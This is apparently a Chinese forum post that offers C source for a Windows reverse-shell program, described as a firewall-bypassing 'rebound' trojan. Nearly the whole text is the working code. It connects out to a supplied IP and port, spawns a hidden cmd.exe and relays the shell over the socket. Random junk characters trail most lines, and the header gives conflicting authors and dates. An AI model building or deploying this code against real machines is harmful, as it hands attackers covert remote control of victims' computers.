这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jcj)9;n=!
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/* ============================== `PL!>oa(8
Rebound port in Windows NT QS_u<B
By wind,2006/7 o,-@vp
===============================*/ GCoqKE
#include ])`F$S
#include H4N==o
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#pragma comment(lib,"wsock32.lib") ?2M15Q
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void OutputShell(); V;!D:N8<
SOCKET sClient; aF:I]]TfK~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1\McsX4
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void main(int argc,char **argv) }7V/(K
{ z)26Ahm TV
WSADATA stWsaData; o|+tRl
int nRet; F~B8XUa3
SOCKADDR_IN stSaiClient,stSaiServer; Ah,Zm4:
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if(argc != 3) 6Z$T&Ul{
{ W+S>/`N
printf("Useage:\n\rRebound DestIP DestPort\n"); k`- L5#`
return; w*+rB p,f
} >QyMeH
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WSAStartup(MAKEWORD(2,2),&stWsaData); Jd |hwvwFe
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &"BKue~q@p
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stSaiClient.sin_family = AF_INET; */1z=
stSaiClient.sin_port = htons(0); |^1eL I
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jkbz8.K
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) dG| iA]
{ =X`/.:%|[
printf("Bind Socket Failed!\n"); /<})+=>6f
return; Zy'bX* s|
} ~&pk</Dl
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stSaiServer.sin_family = AF_INET; |y]#-T?)t
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *}?^)z7w
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); MV/JZ;55
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ %spR7J\"/
printf("Connect Error!"); /XXW4_>
return; th]9@7UE,
} xkX,
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OutputShell(); htjJ0>&
} eq"~by[Uq
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void OutputShell() A%9"7]:
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char szBuff[1024]; V3jx{BXs2
SECURITY_ATTRIBUTES stSecurityAttributes; A81kb
OSVERSIONINFO stOsversionInfo; xTe?*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p~r +2(J
STARTUPINFO stStartupInfo; '\9A78NV{;
char *szShell; r6^DD$X
PROCESS_INFORMATION stProcessInformation; 0c]Lm?&
unsigned long lBytesRead; 6gp3n;D
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O9opX\9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H}:apRb
stSecurityAttributes.lpSecurityDescriptor = 0; 3&}wfK]X
stSecurityAttributes.bInheritHandle = TRUE; /_ LUys/0
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RY*6TYX!
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I3SLR
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xbIxtZm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2lGq6Au:
stStartupInfo.wShowWindow = SW_HIDE; }C)
stStartupInfo.hStdInput = hReadPipe; s |qB;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; N &=,)d~M
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GetVersionEx(&stOsversionInfo); )9Jt550(
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switch(stOsversionInfo.dwPlatformId) 8zr)oQ:
{ H*l8,*M}
case 1: /9[nogP
szShell = "command.com"; eX}uZR
break; VDscZt)y8
default: C[~b6UP
szShell = "cmd.exe"; gvz&ppcG
break; sB /*gO
} Fm*O&6W\@A
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -FJ5N}R
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send(sClient,szMsg,77,0); {+Eq{8m`
while(1) NC0x!tJ#7
{ bGDV9su
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x3)qK6,\
if(lBytesRead) hMi[MB7~
{ xHI>CNC,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D7 .R
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send(sClient,szBuff,lBytesRead,0); @v |_APy#
} YT#"HYO
else [_${N,1
{ r]2}S=[
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; W<kJ%42^j
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Al
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} 3pm;?6i6
} " >;},$
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return; AWGeK-^
}